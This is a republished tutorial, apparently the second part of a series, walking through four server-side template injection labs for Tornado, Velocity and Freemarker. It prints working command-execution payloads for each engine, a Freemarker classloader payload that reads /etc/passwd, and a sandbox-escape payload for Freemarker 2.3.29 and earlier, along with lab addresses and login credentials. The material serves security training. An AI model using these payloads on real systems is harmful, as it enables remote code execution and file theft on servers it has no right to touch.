Explore Server‑Side Template Injection Labs: Tornado, Velocity & Freemarker

This article continues a series on server‑side template injection by presenting four hands‑on labs covering Tornado (Python), Velocity (Java), Freemarker (Java) and a Freemarker sandbox‑escape, detailing syntax basics, attack surfaces, exploit payloads, defensive measures, and step‑by‑step exercises.

Programmer DD
Programmer DD
Programmer DD
Explore Server‑Side Template Injection Labs: Tornado, Velocity & Freemarker

In the previous article we introduced the concept of template injection vulnerabilities, detection methods, and two engine‑specific exploits; this continuation presents four additional template‑engine‑related injection labs.

6. LAB 3: Tornado (Python)

Introduction

Tornado's template engine is part of the popular Python web framework Tornado. The exercises are simple, showing that reading library documentation can reveal powerful features.

Template Syntax Basics

Hello {{userName}}

Attack Surface

It is simpler than Jinja2 because it supports an import directive that works like Python's import. {%import os%} The import directive must be wrapped in {…}. A full payload to import the os module and execute whoami looks like:

{%import os%}

{{os.popen("whoami").read()}}

Exercise

To complete the lab, connect to the web server http://template-injection.gosec.co:8013/ .

This service simulates a scenario where each form submission triggers an email; the above method can be used to exploit the vulnerability and retrieve flag.txt.

7. LAB 4: Velocity (Java)

Introduction

Velocity is one of the most popular Java template engines; we chose it because its exploitation difficulty is higher than Freemarker.

Template Syntax Basics

Reference: Velocity official documentation.

Attack Surface

James Kettle's original payload requires activating the optional ClassTool plugin.

$class.inspect("java.lang.Runtime").type.getRuntime().exec("bad-stuff-here")

In this article the plugin will not be enabled. Velocity also supports variable assignment:

#set( $foo = "bar" )
$foo

A payload that creates a Runtime instance and executes ls without the plugin:

#set( $x = '' )##
#set( $rt = $x.class.forName('java.lang.Runtime') )##
#set( $ex = $rt.getRuntime().exec('ls') )##
$ex.waitFor()
#set( $out = $ex.getInputStream() )##
#foreach( $i in [1..$out.available()] )
$chr.toChars($out.read())
#end

Exercise

Connect to http://template-injection.gosec.co:8013/ and log in with credentials admin/123456 to access the admin functionality.

8. LAB 5: Freemarker (Java)

Introduction

Freemarker is another popular Java template engine that evolves faster than Velocity.

Template Syntax Basics

${message}
${user.displayName}

Attack Surface

Freemarker provides many built‑in functions; most are harmless, but the new built‑in can create arbitrary Java objects, potentially leading to security issues.

Example of using new to instantiate Execute and run a command:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

Exercise

Connect to http://template-injection.gosec.co:8025/ and log in with admin/hackfest to access the admin panel.

9. LAB 6: Freemarker Sandbox Escape

Freemarker Sandbox

Freemarker can restrict which classes are accessible via a custom TemplateClassResolver implementation.

Finding ClassLoader References

Common APIs that return a ClassLoader can be accessed in Freemarker syntax, e.g.:

${any_object.class.classLoader}
${request.servletContext.classLoader}

Reading Files / Directory Listings

Example payload to read /etc/passwd:

<#assign uri = classLoader.getResource("META-INF").toURI() >
<#assign url = uri.resolve("file:///etc/passwd").toURL() >
<#assign bytes = url.openConnection().inputStream.readAllBytes() >
${bytes}

Since byte arrays are not auto‑converted to strings, individual bytes can be printed:

${bytes[0]}
${bytes[1]}
${bytes[2]}
...

General Exploit for Freemarker ≤2.3.29

A universal payload that obtains a ClassLoader, loads Execute, and runs a command:

<#assign classloader=<<object>>.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("whoami")}

Exercise

Connect to http://template-injection.gosec.co:8026/ . This instance limits class access, so the Execute class cannot be used directly. Log in with admin/hackfest to access admin functions.

10. Conclusion

Template engines are powerful and should be treated as scripting environments; without strong sandboxing they can expose the underlying operating system to severe risks.

References

Server‑Side Template Injection – Slides & White‑paper by James Kettle

Room for Escape: Scribbling Outside the Lines of Template Security – Slides & White‑paper by Oleksandr Mirosh and Alvaro Muñoz

Exploitation of Server Side Template Injection with Craft CMS (Twig template)

Cheatsheet – Flask & Jinja2 SSTI

PayloadsAllTheThings: Community Github repository

Original Source

Signed-in readers can open the original source through BestHub's protected redirect.

Sign in to view source
Republication Notice

This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactadmin@besthub.devand we will review it promptly.

tornadovelocityFreemarkertemplate injectionpayloadserver-side
Programmer DD
Written by

Programmer DD

A tinkering programmer and author of "Spring Cloud Microservices in Action"

0 followers
Reader feedback

How this landed with the community

Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.